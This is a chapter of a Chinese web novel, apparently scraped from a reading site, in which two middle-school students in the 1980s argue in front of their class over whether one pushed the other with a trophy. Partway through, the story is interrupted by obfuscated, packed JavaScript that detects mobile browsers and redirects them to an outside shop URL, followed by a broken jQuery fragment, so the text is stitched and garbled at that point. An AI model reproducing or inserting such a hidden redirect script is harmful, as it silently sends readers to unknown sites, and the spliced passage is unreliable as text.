文趣网 > 其他小说 > 八零恋爱脑逆袭日常 > 20. 狡辩
    于向荣说完那句话,班里的所有学生几乎都停下了手头的事情,将注意力转移到这边。连不少原本在教室外观望的外班学生,也都挤到了门口。

    显然,大家也都想弄清楚事情的真相。

    当即就有男生喊道:“对!江时安,你要是真有证据,就拿出来甩他脸上!省得他整天狡辩,搞得好像大家都冤枉了他似的。”

    “没错,有证据就拿出来,也让大家明白到底是怎么回事。”

    “就是,反正你是受害者,你怕什么……”

    而在这一声声对江时安的声援中,于向荣的脸色也越来越难看,额头都密密地渗了一层冷汗。

    但他仍强撑着,紧握双拳,死死地瞪视着江时安。

    他还在赌——

    因为自始至终,他都不信江时安真有什么所谓的证据。

    尤其就当时的情况而言,一来,那时候不管是老师还是其他学生,都一心想着散场,根本没人注意也准备下台的他们。

    更何况,他又不是真的故意推搡江时安的。他只是当时心绪太过纷乱,下台阶的时候不小心,没保持好跟江时安的距离,手里的奖杯正好硌在了他的后腰上而已。

    那样细微的动作,那样近的距离,也根本不可能有目击者。

    再结合当下的条件,学校并没有准备任何可供录像的设备,学校都没有,学生自然更不可能有,因此绝不可能留下任何影像证据。

    人证,物证都不可能有,那想也知道,江时安现在能拿出什么证据?

    恐怕还是诈他的成分居多。

    而于向荣也正是看准了这一点,才决定死不承认的。

    毕竟承认的代价太大了——不仅他在全体师生心中的形象会被彻底钉死,永远成为别人口中那个卑鄙无耻的小人;即便他不顾忌名声这种虚无的东西,只讲实际利益,一旦承认,面对的必然还有对江时安的赔偿问题,可哪怕只是医药费,他也承担不起。

    而这也是他刚出事那会儿,就极力找杨文箐,想从她那里得到认同的原因。

    他太害怕了。

    只能用逃避和寻求认同来慰藉自己不安的内心。

    虽说杨文箐既没给予他任何认同,也没出言安慰他,让他多少有些失望,但随着时间的推移,他也逐渐适应了众人对他的态度。尤其想到再过半个月就要中考,中考之后大家便会各奔东西,届时他也就不必在意这些人的看法。

    原本事情到了这里,似乎就应该结束了,可就在两天前,班主任老师却突然找到他,告诉他,像他这样的情况,是可以申请人民助学金的。

    所谓的人民助学金,是这个年代针对家境困难、却品学兼优、表现良好、且有能力考上高中的部分学生的优惠助学政策。

    只要能享受这项政策,即便没有二舅和杨文箐的支持,他也有可能顺利读完高中。

    这几乎算是他最后的救命稻草。

    是他能继续上学的唯一希望!

    可这一切的前提——

    班主任当时是这样说的:“如果你确定自己没有推江时安,那就把这件事彻底弄清楚。不然的话,这个助学政策虽好,名额却极其有限,审核条件也相当严苛,尤其对学生的思想品德方面,要求非常严格。往年一般也只有20%到30%的学生能通过审核。老师也是看在你不仅成绩优异,还非常努力的份上,才决定帮你申请的。但你要明白,光有成绩是不够的,只要你身上还背着‘故意推倒同学’的嫌疑,就肯定行不通,即便我帮你申请,你也不可能通过审核。”

    万般无奈之下,他才硬着头皮来找江时安。

    因为也只有江时安,才能帮他彻底洗清这个罪名,拿到助学资格。

    只是他万万没想到,江时安竟如此难对付。

    不过——

    于向荣狠狠一攥拳头,指节都跟着“啪”地响了一声,足见他用力之猛。

    难对付也得对付!

    反正他绝不可能任由自己最后的希望就此破灭!

    他干脆也化被动为主动,再次向江时安施压道:“对啊,既然有证据,那你还等什么?拿出来!”

    江时安自然不知他心中那些弯弯绕绕,更不知道那个助学资格的事,他只是对于向荣这种行为感到可笑和愤怒。

    是的。

    愤怒!

    如果说刚开始他并没把这件事放在心上,也不打算追究的话,那么到了现在,他是真的有些生气了。

    凭什么对方明明推了自己,还能如此理直气壮?

    而他,最烦的就是这种人!

    假如于向荣真能敢作敢当,他或许还能高看他一眼,就算放过他一马又能怎样?可对方越是这样,反倒越激起了江时安的火气。

    既然你要证据,那我就算没有,也得找出来给你看看!

    他在众人与于向荣注视的目光中,唇角微微勾起,然后缓缓将手伸到身后,撩起了自己的衬衫。

    他指着后腰上一处不到两三公分的印记说:“这就是证据。”

    此话一出,别说于向荣,其他同学都有些傻眼。

    “这……这是什么啊?”

    “对呀,这不就是个硌出来的印子嘛。”

    “而且看那印子的形状,是你刚在后桌上硌出来的吧?”

    众人顿时嘻嘻哈哈一片,却只有于向荣没有笑,更甚至,他还下意识地把手背到了身后。

    江时安原本就时刻注意着他的动向,见此,嘴角的笑意不由也愈发浓重了几分,他向众人解释道:“我说的自然不是这个,这个确实是我刚硌出来的,我指的是那天我摔倒时,同一位置留下的印子。”

    “相信大家也记得,我摔倒那天,我前面走的是副主任,而身后,就跟着这位于向荣同学。”

    他将目光再次转向于向荣,直视着他的眼睛,问道:“那么,当初那个印子哪来的?要是我没记错的话,你当时手里正好拿着奖杯吧?”

    于向荣浑身一颤,脸色也更白了几分。

    “哦,我知道了!”这时旁边一个女生说:“你的意思是,于向荣当时是用奖杯推的你,还把你的后背硌出了印子。”

    “聪明!”江时安没忍住打了个响指。

    那女生的脸瞬间红透了,捂着脸扭捏了好一阵子,旁边的女生们也纷纷捏胳膊戳脸地暗暗调侃她。

    其他人这时也后知后觉地反应过来,个个恍然大悟地说道:“哦,原来如此,那情况就很明了了——毕竟奖杯只有两个,除了江时安手里的那个,就只有于向荣有。而印子又在后背上,那肯定就是于向荣用奖杯推的。不然还能有谁?”

    “对对对,错不了,就是这个道理。”

    “那于向荣还一直喊冤,脸皮真够厚的。”

    “可不是嘛,都这样了,他还死不承认呢。”

    “就是,刚才还在嘴硬,现在倒是继续狡辩啊。”

    “狡辩个屁,他真当咱们是傻子吗?”

    “以前说他是小人都说轻了,真是卑鄙无耻到了极点。”

    “……”

    周围全是指责与谩骂的声音,于向荣站在人群中,只觉手脚冰凉,藏在宽大裤腿下的双腿也止不住微微发颤。

    他不止一次想开口为自己辩解,可脑袋仿佛要被那些声音挤爆了,嘴唇翕动了好几下,却一个字都说不出来。

    但他不想就此放弃,毕竟这可是他唯一能继续上学的希望啊。

    他狠狠咬了咬牙,强迫自己冷静下来,随即看向江时安,质问道:“你说有那个印子就真有那个印子?有什么能够证明?”

    而这一句,也成功让那些谩骂和指责他的声音瞬间安静了下来。

    所有人的目光又齐齐投向了江时安。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17639533|206462||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >是啊,拿什么来证明呢?

    毕竟身上有印子这件事,不过是江时安的一面之词,并没有任何实质性的证据。

    而且已经过了这么长时间,即便当时有印子,现在也早该消失了。

    不得不说,于向荣的辩证思维能力确实很强,很快就抓住了江时安这个证据的漏洞,就连江时安自己都不得不佩服这一点。

    好在,江时安也早有准备。

    他淡然一笑,从容应对:“我既然说了,就肯定有那个印子的存在。而且当时为了确认就是奖杯硌的,我还当着卫生院大夫的面,让我爸用我的奖杯比对过。如果你需要,我随时可以请当初给我治腿的大夫来作证。那么请问……你需要吗?”

    他这话一出,连周围的学生们都不约而同地松了口气,显然是怕他拿不出实质证据,再被于向荣怼回去。

    立刻又有学生朝着于向荣怒道:“没听见吗?江时安问你需不需要!”

    “就是,你不是挺能狡辩的吗?继续辩呀!”

    “真是,从没见过这种人,太不要脸了!”

    而那一句“你需要吗?”无疑犹如一记重锤狠狠砸在于向荣的心口,将他最后一点侥幸也砸得粉碎。

    但他还想做最后一搏,干脆豁出去了,也不管自己的话有没有逻辑,反正先狡辩再说:“你说大夫当时比对过就比对过,那你又怎么证明那个所谓的大夫不是你串通好来诬陷我的?”

    江时安被他这话气笑了:“我诬陷你?”

    于向荣已经近乎疯狂:“有什么不可能的?说到底,你那些所谓的证据,不过是早就没了痕迹的印子和空口无凭的大夫,那还不是任由你怎么说吗?”

    说白了,他还是不甘心,也决定拿这个年代没有影像资料作为证据这件事来做文章。

    江时安的脸色彻底冷了下来。

    周边所有人也都一脸无语,不少人指着于向荣,“厚颜无耻”“真不要脸”“都这时候了还死不承认”之类的声音此起彼伏。

    杨文箐就是在这个时候被王美娟拉着胳膊跑来看热闹的。

    之前她因为做题太投入,中午一上课就没离开过座位,王美娟实在看不下去,下课便非要拉着她去上厕所。

    江时安所在的教室又正好在去厕所的必经之路上,且就位于一楼。

    于是自然而然的,两人上完厕所后,王美娟看到这里聚集了这么多人,便又拉着她来看热闹。

    偏偏王美娟还是个社牛,一挤进人群就四处打听,“哎,这里是怎么回事?怎么这么多人?”

    被问到的学生也挺热心,当即指着屋内回答:“里面正在对质呢。”

    王美娟:“对质?对什么质?”

    “江时安跟于向荣,就上次从台上摔下来的事对质呢。”

    原本一听到于向荣的名字,杨文箐就预感不妙,立马心生了退意,拉着王美娟的胳膊就想把她往外拖,“咱们还是回去吧,马上要上课了。”

    王美娟却一脸兴致勃勃,硬拉住杨文箐,嘴里边说着“没事,再看一会儿”,边往人群里钻。

    而这时,屋内的情势也终于进入了白热化,于向荣那番逻辑混乱的推诿与不分青红皂白的甩锅,也成功将江时安彻底激怒了,他冷声问于向荣:“那你说,该怎么办?”

    于向荣哪知道该怎么办,他现在也只剩下嘴硬了,心里其实早慌得不行。

    他想了又想,最后咬牙道:“你既然能找什么所谓的大夫,那我是不是也可以找人来证明我的清白?”

    江时安冷嗤了一声:“那你找一个我看看。”

    于是,就见于向荣低头思索了片刻,随后便颇有些不情愿地将目光投向了后方的人群,却在片刻茫然无措地搜索后,眼神中再次绽出希冀的光来。

    他大步朝门口的杨文箐走了过去,“阿箐,你来得正好,帮我做个证!”